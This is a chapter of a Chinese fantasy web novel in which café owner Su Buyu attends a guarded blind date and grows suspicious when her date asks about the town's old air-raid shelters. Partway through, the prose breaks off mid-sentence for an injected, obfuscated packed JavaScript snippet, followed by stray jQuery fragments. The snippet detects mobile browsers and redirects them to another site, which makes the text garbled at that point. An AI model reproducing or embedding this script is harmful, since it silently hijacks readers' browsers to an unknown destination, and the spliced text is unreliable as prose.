周六下午两点五十。


    苏不予站在“不予时光”咖啡馆的后院门口，对着玄绮递过来的小镜子，最后一次检查自己的仪表。她穿了身款式简单、质地舒适的米色针织衫和深咖色长裤，头发松松地挽了个低髻，脸上薄施粉黛（在玄绮近乎强迫的要求下），勉强盖住了熬夜和焦虑留下的痕迹。整个人看起来……嗯，像个去喝下午茶的、气质尚可的普通女青年，前提是忽略她眼底那抹挥之不去的疲惫和时不时瞥向手臂的细微动作。


    “行了，很得体。”玄绮收回镜子，上下打量她一番，金棕色的眸子里闪过一丝满意，但语气依旧平淡，“记住，只是喝茶，聊天，不用有压力。夜阑在对面二楼茶馆的露台花架后面，鸢明在街角那棵老槐树上。我就在隔壁书店。有任何不对，或者你不想待了，就摸一下左耳垂——我们约好的信号。”


    苏不予无奈地点头。这场面，这安排，哪里像是去相亲，分明像是去执行什么高危卧底任务。


    ——“相亲流程：1. 确认着装符合‘普通适龄女青年’标准。2. 接收保镖位置简报（黑猫：露台花架后；猫头鹰：老槐树；上古大妖：隔壁书店）。3. 牢记紧急撤退信号（摸左耳垂）。4. 赴约。很好，这大概是史上安保级别最高的民间联谊活动了。希望对方不要觉得我总摸耳朵是得了什么怪病。”


    “还有，”玄绮从围裙口袋里（她还穿着服务员的围裙，仿佛随时准备回去上班）掏出一个小小的、用红线系着的深褐色香囊，不由分说地塞进苏不予随身的小挎包夹层，“李叔昨天新调的‘守心香’，比之前的更强些。戴着，万一……感觉不对劲，拿出来闻一下。”


    苏不予捏了捏那硬硬的小香囊，点点头。“知道了。店里……和澄澄，就麻烦你了。”


    “放心。”玄绮挥挥手，转身回了咖啡馆，背影干脆利落。


    苏不予深吸一口气，空气中弥漫着小镇午后特有的、混合着阳光、植物和淡淡食物香气的味道。她拢了拢挎包带子，迈步走出小巷，朝街口的“静语茶舍”走去。


    茶舍果然很新，装修是时下流行的新中式风格，原木与白墙，点缀着绿植和竹帘，环境清幽。下午时分，客人不多，三三两两坐在靠窗或隔断的位置，低声细语。


    苏不予报了刘阿姨（她妈妈的闺蜜）预订的位置，被引到二楼一个临街的、用竹帘半隔开的小卡座。位置不错，能看到楼下街道的一部分，又不算完全暴露。她刚坐下，就下意识地抬眼看向对面二楼露台——茂密的常青藤和几盆高大的散尾葵后面，一个黑色的、几乎与阴影融为一体的毛团安静地趴着，只有一双在暗处微微反光的眼睛，正对着她的方向。


    夜阑果然在了。


    她心里莫名安定了一点点，收回目光，打量了一下茶座。桌上已经摆好了一壶清茶和两碟精致的茶点。她给自己倒了杯茶，温热的液体入喉，稍稍缓解了紧绷的神经。


    差一分钟三点，楼梯处传来脚步声。一个穿着浅灰色休闲西装、戴着细边眼镜、看起来约莫三十出头的男人走了上来，目光在店内搜寻了一下，很快落在了苏不予这边。他脸上露出一个礼貌而略带歉意的微笑，快步走了过来。


    “你好，是苏不予小姐吧？抱歉，稍微找了会儿停车位。我是刘禹。”男人声音温和，举止得体，伸出的手干净修长。


    “你好，刘先生，我是苏不予。请坐。”苏不予起身与他轻轻握了下手，触感干燥温暖，随即分开。她快速打量了对方一眼：个子挺高，长相清秀，气质文雅，戴着眼镜更添几分书卷气。单从外表和第一印象看，确实像刘阿姨吹嘘的“年轻有为、一表人才”。


    两人落座，刘禹很自然地拿起茶壶，先给苏不予续了茶，然后才给自己倒上。“听刘阿姨说，苏小姐自己经营一家咖啡馆？很了不起。现在年轻人愿意沉下心来做实体店的不多了。”


    开场白很标准，带着适当的恭维和话题切入。


    苏不予笑了笑，应付道：“小本生意，糊口而已。比不上刘先生在大企业发展。” 她记得刘阿姨提过，刘禹在省城一家知名科技公司做项目管理。


    “都是工作，各有各的辛苦和乐趣。”刘禹推了推眼镜，笑容真诚了几分，“其实我挺羡慕你们这种能把爱好和事业结合起来的。我平时也喜欢喝咖啡，自己还瞎琢磨过手冲，不过跟专业的肯定没法比。”


    话题自然而然转到了咖啡上。苏不予稍稍放松，介绍了一下店里的特色豆子和几种做法。刘禹听得很认真，偶尔问一两个挺内行的问题，显然不是完全不懂。交谈的气氛逐渐自然起来，至少表面上如此。


    ——“好吧，目前为止，一切正常。对方谈吐得体，不令人反感，话题安全。如果忽略我包里那个驱邪香囊、对面露台的黑猫保镖、街角树上的猫头鹰哨兵，以及隔壁书店可能正在用妖力偷听的上古大妖，这完全就是一场标准得可以写进教科书的、平淡无奇的相亲。”


    苏不予一边喝着茶，一边在心里默默吐槽。她注意到刘禹说话时，目光偶尔会透过竹帘缝隙，扫向楼下街道，或者茶舍内部的其他角落，动作很自然，像是在观察环境，但频率似乎稍微高了点。是他的习惯，还是……


    “苏小姐一直住在这个镇上吗？感觉这里节奏很舒服，老建筑也保护得很好。”刘禹将话题引向了小镇。


    “嗯，土生土长。小镇是挺舒服的，就是最近……事情好像比往常多了一点。”苏不予故意含糊地说道，想看看对方的反应。


    刘禹点点头，若有所思：“是啊，我这次回来，也听家里人聊起一些。好像前段时间，镇子西头老河滩那边，还出了点小意外？有游客还是居民不小心迷路了？”


    他提到了老河滩。是巧合，还是……


    苏不予神色不变，顺着说：“嗯，听说了，好像是个误会，人没事。我们这种老镇子，有时候角落多，不熟悉是容易走岔。”


    “确实。而且听说，镇上有些老建筑，像八号桥那边，结构挺复杂，底下好像还有些老防空洞之类的？我读书时对这些挺感兴趣，这次回来还特意去转了转，不过没敢往里走太深。”刘禹语气随意，仿佛只是闲聊。


    八号桥。防空洞。他主动提起了这个地方。


    苏不予心中警铃微微作响。是巧合吗？一个从省城回来的、做科技公司项目管理的人，会对镇上的老防空洞感兴趣？


    “那边是挺老的，现在主要是些老街坊偶尔去散步，我们一般也不建议外人往里走，毕竟年久失修，不安全。”苏不予滴水不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962168|188695||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    漏地回答。


    “理解，安全第一。”刘禹笑了笑，端起茶杯抿了一口，镜片后的眼睛似乎又快速扫了一眼窗外，“说起来，苏小姐的咖啡馆，是不是离八号桥也不算远？生意会不会受这些……传闻的影响？”


    “还好，熟客多。小镇生活，大家习惯了。”苏不予端起茶杯，借着喝茶的动作，指尖不经意地拂过左耳垂——这是她和玄绮约定的“需要提高警惕”的二级信号。


    她不确定刘禹是否真的有问题，但这些话题的指向性，让她本能地觉得需要更谨慎。


    接下来的谈话，刘禹没有再深入询问八号桥或镇上的异常，转而聊起了省城的工作生活、兴趣爱好（他喜欢徒步和摄影），偶尔也问问咖啡馆的经营趣事。气氛似乎又回到了最初的平和。


    但苏不予没有放松。她注意到，刘禹虽然言谈举止都很正常，但坐姿似乎一直保持着一种不易察觉的、略微紧绷的状态，就像……在随时准备应对什么。而且，他左手腕上戴着一块款式简约的机械表，表盘在室内光线下偶尔会反射出一点不同于寻常金属的、极其微弱的幽蓝色光泽，很淡，若非苏不予对“异常”气息和能量残留变得敏感，可能根本不会留意。


    茶过三巡，时间接近四点。一场标准时长的相亲下午茶该进入尾声了。


    刘禹看了看表，主动提出：“时间不早了，不耽误苏小姐回去忙店里的事。今天聊得很愉快。” 他顿了顿，看着苏不予，笑容温和，“苏小姐是个很有意思的人，咖啡馆也很有味道。希望以后有机会，能再去坐坐，尝尝你刚才说的那种……嗯，‘日落大道’拼配。”


    “欢迎。”苏不予也露出礼貌的微笑。


    两人起身，刘禹很绅士地表示要送苏不予到门口，被苏不予婉拒了。在茶舍楼梯口道别，刘禹下楼离开。苏不予站在原地，从二楼窗户看着他走出茶舍，在门口稍微停留了一下，似乎抬头看了一眼天空或者街角的老槐树？，然后才朝着停车场方向走去。


    直到他的身影消失在街角，苏不予才缓缓吁出一口气。她感觉后背有点发凉，不知道是茶舍空调太足，还是刚才精神一直紧绷的缘故。


    她摸出挎包里的香囊，放在鼻尖轻轻嗅了嗅。一股清凉提神的草药香钻入鼻腔，让她有些昏沉的头脑清醒了几分。


    ——“所以，这到底是一场成功的、平淡的相亲，还是一次失败的、充满疑点的试探？刘禹这个人，到底是个碰巧对老家秘闻有点兴趣的普通海归精英，还是……别有用心的‘相关人员’？那块表……是我多心了吗？”


    她收起香囊，走下楼梯。经过柜台时，目光扫过旁边书架上一本介绍本地风物历史的旧书，封面上正是八号桥的老照片。


    走出茶舍，午后阳光依旧温暖。她抬头，看到对面露台上，那个黑色的毛团已经不见了。街角老槐树茂密的枝叶间，似乎有银灰色的影子一闪而过。


    隔壁书店的门开着，玄绮正站在门口翻看一本杂志，看到她出来，抬眸望来，眼神带着询问。


    苏不予几不可察地摇了摇头，示意“回去再说”。


    她迈步朝咖啡馆方向走去，脚步平稳。


    下午茶结束了。


    但弥漫在茶香里的疑云，似乎才刚刚开始聚拢。